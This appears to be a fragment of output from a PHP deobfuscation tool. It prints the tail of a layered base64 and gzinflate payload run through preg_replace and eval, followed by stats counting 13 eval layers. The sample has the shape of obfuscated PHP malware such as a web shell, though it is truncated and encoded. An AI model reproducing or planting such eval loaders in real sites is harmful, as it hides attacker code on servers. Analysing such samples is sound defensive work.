k7aA5OfcSxc6jPjeA6Yr3saXGVaSqf77jzHCFRYD78Pm0NX9zViEiRv9hHSdftMB21AikBMT8Mq8zX1qEKpRGGGHERU/Wfblskq92fI/E6B49kRVlGdwT66z7rnycLCaCktPPTUT7X6RL3jdvhOzeYrs+H+wQKpDcGzOpi/1WynrMGoxyAOi2r63z4zE2vuf7Mz5G18+6rTc+r/WT+n3Sb1zsiq35c6IZJphAkQ81GqK6lvzSsHEQFySDTT+4vdS/DX/ACrQclexaqb2ZTkrIQPC0a+g8amqeR6AziPtU+yEs0CG/M+qnGK7rHvDtievpazJJqL64WmF1e9Ht0N8M5yNU3RpYo3n9ayl/ERPR/WikWBbluKjXhU5p/MGCI1ZnQ/lmSNwRE7R7C9WwGe/Ou0UKTtanrmCpXPxnIFBlNecPb4/Zal9MLnUKJcoyy9GMIo/qYD9Pe4AkXV9m9wGV0iRyGSFp8QKGJnvS7T2DwQmwteZR6/OZE7sqfJIjywILfzdlnNQAmh8FOT+xBbTx2zugBbVQetxpVAAJ/pKQej4gky+LQ2O2sw9Y8R6X4aug3zx2mLcVOXHaOMZZRY9g8hHeWCUbcO49DECvfIVHOUVuDarnfWNG9Hyz6Cl5TjMpKrt8IefhCEO0PRyimEWSNY/yG3MjKIipqX2CccC1Tmt1/XVIylWhh058OBsjVzy00C1lezq/BtZXMarINrAupuAPYFX15NLN6rhuA0JrFJ+NRTjLpl7LF8GEqfqUBB8c+UoAOSMs8c/5CoJq9FP5QU2VjGy1Nk9+jXXtA8cqxPqQTkiak0pS8XVrfJmQjBFvTlFqKi7JiMoHewd6BKIx3aa7ButYjvw8M026t+7Z4pE9PKXVhUnTykRCvpA0psPt6Db/3eWGp35AZWOISDiZ3N4OlXiJX1YgS+uQkdPI1WJls1dDsx+jEQYhfEfKirw6UAnd9RN24zVd64cgJPeVdkigOhv2XHluuNKhpNxrQSF4tQf2NXy78sTzKQWMExF7D0g+slL2FkAw0SBrXfplyYlAcA0T3eveMMh1bJpw6eZP6zeYoQFuB87pLdTm6qsgrSt63neVTt3XSnOshEgPi56zY3l5F435phKkXa6FM4AcA/VctcxTfH92fjlNHAV3NNAFD5fO50qDpSvxdmXFsAoevBq4efszvM3Biee4Jy/WTCbXyftwO0FSib54QgrAhmamVBVt+Pv1+RwIgnw+gHT+97//+ffff//3/wE='\x29\x29\x29\x3B",".");?>
Function Calls
gzinflate | 12 |
preg_replace | 1 |
base64_decode | 12 |
Stats
MD5 | 865fa8beaa90b8b3f5e5ed810a0321a1 |
Eval Count | 13 |
Decode Time | 233 ms |